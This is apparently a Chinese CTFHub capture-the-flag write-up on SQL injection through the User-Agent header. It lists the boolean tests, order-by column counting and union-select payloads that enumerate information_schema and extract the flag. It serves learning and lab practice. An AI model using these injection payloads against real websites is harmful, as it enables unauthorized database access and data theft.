0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
UA注入:
(无)
0x02 解题过程
根据题目显示内容,此题和上一题一致,需要在 UA 请求头中进行 SQL 注入。使用 burp suite 抓包工具抓取题目网站的信息,直接在 UA 请求中使用 payload 进行测试,发现此题存在 UA 注入。那么直接根据注入流程进行注入,最后发现此题 flag 存在于 klsedpegmy 数据中。
Ⅰ直接使用burp suite抓包工具抓取题目网站的信息
Ⅱ题目已经告诉我们输入点在UA中,那么直接在UA请求头中使用'1 and 1 = 1'进行测试
1 and 1 = 1
Ⅲ继续在UA请求头中使用'1 and 1 = 2'进行测试,发现此题存在UA注入
1 and 1 = 2
Ⅳ使用order by 判断字段数量,从order by 1开始
1 order by 1
Ⅴ判断字段2,使用order by 2
1 order by 2
Ⅵ判断字段3,使用order by 3,这里无回显,那么字段数量为2列
1 order by 3
Ⅶ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
1 union select 1,2
Ⅷ判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以
0 union select 1,2
Ⅸ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
0 union select 1,version()
Ⅹ修改2为database(),查看数据库名,发现数据库版本为sqli
0 union select 1,database()
ⅩⅠ查看全部数据库名
0 union select 1,group_concat(schema_name)from information_schema.schemata
ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现xbjwugqhuq和news两个表名
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
ⅩⅢ先查看xbjwugqhuq表中的全部字段名,发现一个数据名为klsedpegmy
0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xbjwugqhuq'
ⅩⅣ查看数据klsedpegmy中的内容,发现此题flag
0 union select 1,group_concat(klsedpegmy) from sqli.xbjwugqhuq
0x03 User Agent 注入概述
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
0x04 参考文献
[1].mdn web docs. User-Agent[EB/OL]. [2022-11-23]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/User-Agent.
[2].资深程序员的转型渗透之路. UA头注入Cookie注入Referer注入[EB/OL]. [2022-11-23]. https://blog.csdn.net/Jerry_GuJY/article/details/124061062?spm=1001.2014.3001.5502.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。